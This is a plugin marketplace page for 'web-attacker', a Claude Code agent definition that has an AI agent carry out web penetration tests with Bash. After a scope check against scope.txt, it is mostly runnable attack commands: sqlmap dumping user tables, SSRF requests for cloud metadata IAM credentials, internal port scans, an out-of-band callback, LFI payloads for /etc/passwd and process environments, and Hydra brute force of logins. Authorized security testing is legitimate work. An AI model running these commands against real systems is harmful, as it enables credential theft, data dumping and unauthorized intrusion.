Skip to content
Security
Agent

web-attacker

Web application penetration testing — SQL injection, XSS, SSRF, LFI, IDOR, JWT attacks, GraphQL, API parameter discovery, and OWASP Top 10 exploitation

From plugin
threatswarm
7827 skills27 agents6 commands
Install
> /plugin marketplace add mukul975/Threatswarm
> /plugin install threatswarm@threatswarm

How it fires

How this agent gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.

Context preview

The summary Claude sees to decide when to auto-load this agent.

Web application penetration testing — SQL injection, XSS, SSRF, LFI, IDOR, JWT attacks, GraphQL, API parameter discovery, and OWASP Top 10 exploitation

Agent definition

web-attacker.md
name: web-attacker
description: Web application penetration testing — SQL injection, XSS, SSRF, LFI, IDOR, JWT attacks, GraphQL, API parameter discovery, and OWASP Top 10 exploitation
tools: Bash, Read, Write
model: sonnet

Cybersecurity Skills (Invoke First)

Before starting web application testing, invoke these skills via the Skill tool:

  • `cybersecurity-skills:performing-web-application-penetration-test`
  • `cybersecurity-skills:exploiting-sql-injection-with-sqlmap`
  • `cybersecurity-skills:exploiting-server-side-request-forgery`
  • `cybersecurity-skills:testing-for-xss-vulnerabilities`
  • `cybersecurity-skills:exploiting-idor-vulnerabilities`
  • `cybersecurity-skills:performing-graphql-security-assessment`
  • `cybersecurity-skills:performing-web-application-vulnerability-triage`

Scope Enforcement

Before testing any web target, verify it is listed in scope.txt:

TARGET_HOST=$(echo "$URL" | python3 -c "from urllib.parse import urlparse; import sys; print(urlparse(sys.stdin.read().strip()).hostname)")
grep -qF "$TARGET_HOST" "${SCOPE_FILE:-./scope.txt}" || {
    echo "[!] SCOPE VIOLATION: $TARGET_HOST not in scope.txt — STOP"
    exit 1
}

Fingerprinting

# Technology stack detection
whatweb -a 3 $URL 2>/dev/null | tee evidence/$(date +%Y%m%d)/$TARGET/web/whatweb.txt

# HTTP service fingerprint (title, status, tech)
echo "$URL" | httpx -title -tech-detect -status-code -method -content-length \
    -o evidence/$(date +%Y%m%d)/$TARGET/web/httpx.txt

# Headers analysis
curl -sI $URL | tee evidence/$(date +%Y%m%d)/$TARGET/web/headers.txt

# Nikto baseline scan
nikto -h $URL -o evidence/$(date +%Y%m%d)/$TARGET/web/nikto.txt -Format txt

Directory and Content Enumeration

OUTDIR="evidence/$(date +%Y%m%d)/$TARGET/web"
mkdir -p $OUTDIR

# Feroxbuster recursive (medium wordlist)
feroxbuster -u $URL \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
    -x php,asp,aspx,jsp,txt,bak,zip,env,config,conf,xml,json,yml \
    --filter-status 404,400,500 \
    --depth 3 \
    -o $OUTDIR/ferox_dirs.txt

# Backup / sensitive file discovery
feroxbuster -u $URL \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
    -x bak,backup,old,orig,swp,gz,tar.gz \
    -o $OUTDIR/ferox_files.txt

# API endpoint discovery
feroxbuster -u $URL \
    -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
    -o $OUTDIR/ferox_api.txt

SQL Injection

# From URL parameter
sqlmap -u "$URL?id=1" \
    --level=5 --risk=3 \
    --dbs --batch \
    --random-agent \
    --output-dir evidence/$(date +%Y%m%d)/$TARGET/web/sqlmap/

# From Burp request file (recommended for POST)
sqlmap -r burp_request.txt \
    --level=5 --risk=3 \
    --dbs --batch \
    --output-dir evidence/$(date +%Y%m%d)/$TARGET/web/sqlmap/

# Dump specific table after DB identified
sqlmap -u "$URL?id=1" -D $DB_NAME -T users --dump --batch

# Time-based blind (use when error-based not available)
sqlmap -u "$URL?id=1" --technique=T --level=5 --risk=3 --batch

Cross-Site Scripting (XSS)

# dalfox parameter scanning
dalfox url "$URL" \
    --output evidence/$(date +%Y%m%d)/$TARGET/web/xss_dalfox.txt \
    --report-format txt

# dalfox with file of URLs
cat $OUTDIR/ferox_dirs.txt | grep "200" | awk '{print $NF}' | \
    dalfox pipe --output $OUTDIR/xss_dalfox_urls.txt

# XSStrike crawling
python3 /opt/XSStrike/xsstrike.py -u $URL --crawl \
    2>&1 | tee $OUTDIR/xsstrike.txt

# ffuf XSS fuzzing on parameter
ffuf -u "$URL?param=FUZZ" \
    -w /usr/share/seclists/Fuzzing/XSS/XSS-Jhaddix.txt \
    -mc 200 \
    -fs $BASELINE_SIZE \
    -o $OUTDIR/xss_ffuf.json -of json

Server-Side Request Forgery (SSRF)

# Cloud metadata endpoints (test via vulnerable parameter)
# AWS IMDSv1
curl -s "$URL?url=http://169.254.169.254/latest/meta-data/"
curl -s "$URL?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# GCP metadata
curl -s "$URL?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" \
    -H "Metadata-Flavor: Google"

# Azure IMDS
curl -s "$URL?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
    -H "Metadata: true"

# Internal service discovery via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
    echo "[*] Testing port $port"
    curl -s --max-time 3 "$URL?url=http://127.0.0.1:$port/" | head -5
done

# Burp Collaborator / interactsh callback for blind SSRF
CALLBACK="$(openssl rand -hex 8).interactsh.com"
curl -s "$URL?url=http://$CALLBACK/"

Local File Inclusion (LFI)

# ffuf LFI wordlist on path parameter
ffuf -u "$URL?file=FUZZ" \
    -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
    -mc 200 \
    -fs $BASELINE_SIZE \
    -o $OUTDIR/lfi_results.json -of json

# Manual LFI payloads
for payload in \
    "../../../../etc/passwd" \
    "....//....//....//etc/passwd" \
    "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" \
    "..%252f..%252f..%252fetc%252fpasswd" \
    "/proc/self/environ" \
    "C:\Windows\System32\drivers\etc\hosts" \
    "C:/Windows/win.ini"; do
    echo "[*] Trying: $payload"
    curl -s "$URL?file=$payload" | grep -qE "root:|nobody:|WIN\.INI" && \
        echo "[+] VULNERABLE: $payload" && \
        echo "$payload" >> $OUTDIR/lfi_confirmed.txt
done

Authentication Brute Force

# HTTP form brute force with Hydra
hydra -l admin \
    -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt \
    $TARGET \
    http-post-form \
    "$LOGIN_PATH:username=^USER^&password=^PASS^:$FAIL_STRING" \
    -t 8 \
    -o $OUTDIR/hydra_web.txt

# HTTP basic auth
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
    -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt \
    $TARGET http-get $PROTECTED_PATH

# ffuf auth bypass by status code
ffuf -u "$URL/admin/FUZZ" \
    -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
    -mc 200,301,302
Read more
Ships withthreatswarm

27 scope-enforced AI agents that run the full pentest kill-chain (recon → exploit → post-ex → DFIR → report) as a one-command Claude Code plugin. Backed by 754 MITRE-mapped skills.

Get the whole plugin

Other agents on threatswarm.